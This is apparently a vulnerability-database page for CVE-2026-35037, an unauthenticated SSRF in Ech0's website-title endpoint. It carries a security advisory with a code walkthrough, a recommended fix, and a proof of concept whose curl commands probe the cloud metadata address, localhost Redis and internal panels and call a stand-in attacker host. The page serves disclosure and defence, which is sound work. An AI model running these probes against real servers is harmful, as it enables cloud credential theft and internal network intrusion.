CVE-2026-35037

highPriorität · verfolgen · 10EPSS 0.006 · 49. PerzentilExploit · PoCEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.62% (49th) EPSS
CVSS 7.2 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.2
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · ENISA EU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 2.7
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · OSV
v3.17highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:Fsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

Exploits (1)

Öffentlicher Proof-of-Concept- und Exploit-Code.

05

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

06

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-cqgf-f4x7-g6wcEch0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata2026-04-03ghsa · osvUS

    ## Summary The `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction. ## Details The vulnerability exists in the interaction between four components: **1. Route registration — no authentication** (`internal/router/common.go:11`): ```go appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle()) ``` The `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group("/api")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`). **2. Handler — no input validation** (`internal/handler/common/common.go:106-127`): ```go func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { var dto commonModel.GetWebsiteTitleDto if err := ctx.ShouldBindQuery(&dto); err != nil { ... } title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL) ... }) } ``` The DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:"required"` — no URL scheme or host validation. **3. Service — TrimURL is cosmetic** (`internal/service/common/common.go:122-125`): ```go func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL) body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second) ... } ``` `TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix("/")`, and `TrimSuffix("/")`. No SSRF protections. **4. HTTP client — unrestricted outbound request** (`internal/util/http/http.go:53-84`): ```go client := &http.Client{ Timeout: clientTimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } req, err := http.NewRequest(method, url, nil) ... resp, err := client.Do(req) ``` The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges. The response body is parsed for `<title>` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements. ## PoC **Step 1: Probe cloud metadata endpoint (AWS)** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/' ``` If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability. **Step 2: Probe internal localhost services** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/' ``` Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology. **Step 3: Exfiltrate data from internal web services with HTML title tags** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/' ``` If the internal service returns an HTML page with a `<title>` tag, its content is returned to the attacker. **Step 4: Confirm with a controlled external server** ```bash # On attacker machine: python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type','text/html') self.end_headers() self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>') HTTPServer(('0.0.0.0',9999),H).serve_forever()" & # From any client: curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/' ``` Expected response contains `"data":"SSRF-CONFIRMED"`, proving the server made an outbound request to the attacker-controlled URL. ## Impact - **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet. - **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security. - **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure. - **Data exfiltration**: Partial response content is leaked through the `<title>` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses. The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance. ## Recommended Fix Add URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`: ```go import ( "net" "net/url" ) func isPrivateIP(ip net.IP) bool { privateRanges := []string{ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16", "::1/128", "fc00::/7", "fe80::/10", } for _, cidr := range privateRanges { _, network, _ := net.ParseCIDR(cidr) if network.Contains(ip) { return true } } return false } func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL) // Validate URL scheme parsed, err := url.Parse(websiteURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { return "", errors.New("only http and https URLs are allowed") } // Resolve hostname and block private IPs host := parsed.Hostname() ips, err := net.LookupIP(host) if err != nil { return "", fmt.Errorf("failed to resolve hostname: %w", err) } for _, ip := range ips { if isPrivateIP(ip) { return "", errors.New("requests to private/internal addresses are not allowed") } } body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second) // ... rest unchanged } ``` Additionally, consider: 1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69` 2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding 3. Adding rate limiting to this endpoint

  • GO-2026-5331Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech02026-06-25vendor · osvUS

    Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech0

07

auch bekannt als (5)

Weitere Namen und Kennungen dieser Entität.

08

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-06geändert 2026-10-24
09

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan